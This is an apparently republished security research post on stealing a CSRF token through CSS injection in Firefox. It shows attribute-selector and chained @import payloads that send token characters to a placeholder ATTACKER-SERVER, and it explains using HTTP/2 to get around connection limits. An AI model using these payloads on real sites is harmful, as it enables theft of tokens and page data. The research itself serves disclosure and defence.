Stealing data using CSS in Firefox

0x00 Introduction

A few months ago, I found a vulnerability in Firefox (CVE-2019-17016). During my research, I discovered a data stealing technique using CSS in Firefox that can steal data through a single injection point, and I would like to share my research findings with you.

0x01 Background

For demonstration purposes, let's assume we want to steal the CSRF token from an <input> element.

<input type="hidden" name="csrftoken" value="SOME_VALUE">

We can't use scripts (probably because of CSP), so we're looking for style-based injection. The traditional approach is to use attribute selectors, like this:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

If the CSS rule is applied, then the attacker can receive the HTTP request and get the first character of the token. The attacker then needs to prepare another style sheet that contains the stolen first character, as shown below:

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

Typically, an attacker would need to reload the page already loaded in <iframe> in order to serve the subsequent stylesheet.

In 2018, Pepe Vila came up with a very cool idea to abuse CSS recursive imports in Chrome to accomplish the same task with a single injection point. In 2019, Nathanial Lattimer (@d0nutptr) re-proposed the same technique with a slight twist. Below I will briefly summarize Lattimer's method, which is close to the idea of ​​this article (but I was not aware of Lattimer's previous work during this research, so some people may think that I am reinventing the wheel).

In short, the first injection uses a bunch of import :

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

The core idea is as follows:

1. At the beginning, only the first @import will return the style sheet, and the other statements are in a connection blocking state.

2. The first @import returns the stylesheet, leaking the first character of the token.

3. When the first leaked token reaches ATTACKER-SERVER , the second import stops blocking, returns the stylesheet containing the first character, and attempts to leak the second character.

4. When the second leaked character reaches ATTACKER-SERVER , the third import stops blocking... and so on.

This technique works because Chrome processes import asynchronously, so when any import stops blocking, Chrome immediately parses the statement and applies the rules.

0x02 Firefox and style sheet processing

The method mentioned above does not work in Firefox, which handles style sheets very differently than Chrome. Here I will use a few cases to illustrate the difference.

First, Firefox processes style sheets synchronously. Therefore, when there are multiple import in a stylesheet, Firefox will apply the CSS rules only when all import have been processed. Consider the following case:

<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

Suppose the first @import returns CSS rules to set the page background to blue, and subsequent import are in a blocking state (i.e., they will never return anything and will hang the HTTP connection). In Chrome the page turns blue immediately, whereas in Firefox nothing happens.

We can fix this by putting all of import in separate <style> elements:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

In the above code, Firefox will process all style sheets separately, so the page will turn blue immediately, and other import will be processed in the background.

But here's another problem, suppose we want to steal a token that contains 10 characters:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox will immediately queue up 10 import . After processing the first import , Firefox will queue another request with the known string. The problem here is that the request will be added to the end of the queue. By default, browsers have a limitation of only 6 concurrent connections to the same server. Therefore, the request with the known characters will never reach the target server because there are already 6 blocked connections to the server, eventually deadlocking.

0x03 HTTP/2

The limit of 6 connections is determined by the TCP layer, so only 6 TCP connections can exist simultaneously to a single server. In this case, I think HTTP/2 might come in handy. HTTP/2 has many advantages. For example, we can send multiple HTTP requests through a single connection (also known as multiplexing), which greatly improves performance.

Firefox also limits the number of concurrent requests for a single HTTP/2 connection, but the limit is 100 by default (for specific settings, refer to network.http.spdy.default-concurrent in about:config ). If we need more concurrency, we can use a different hostname to force Firefox to create a second TCP connection. For example, if we create 100 requests to https://localhost:3000 and 50 requests to https://127.0.0.1:3000 , Firefox will create 2 TCP connections.

0x04 Exploitation

Now everything is ready, our main exploit scenarios are as follows:

1. The exploit code is based on HTTP/2.

2. The /polling/:session/:index endpoint can return CSS, leaking the :index character. This request will be blocked until the previous request successfully leaks the index-1 character. :session path parameter is used to distinguish multiple attack behaviors.

3. Leak the entire token via /leak/:session/:value endpoint. Here :value is the complete value obtained, not just the last character.

4. In order to force Firefox to initiate two TCP connections to the same server, two endpoints are used here, namely https://localhost:3000 and https://127.0.0.1:3000 .

5. The endpoint /generate is used to generate sample code.

I created a test platform with the goal of stealing csrftoken this way, which can be accessed directly here.

In addition, I have also hosted the PoC code on GitHub, and the attack process can be seen in the video here.

Interestingly, since we are using HTTP/2, the attack is very fast and the entire token can be obtained in less than 3 seconds.

0x05 Summary

In this article, I demonstrated how to exploit an injection point to steal data via CSS without reloading the page. There are two main points involved here:

1. Split the @import rule into multiple style sheets so that subsequent import will not block the browser from processing the entire style sheet.

2. In order to bypass the TCP concurrent connection limit, we need to launch the attack through HTTP/2.

The above is what I introduced to you about using CSS to steal data in Firefox browser. I hope it will be helpful to you. Thank you very much for your support of the 123WORDPRESS.COM website!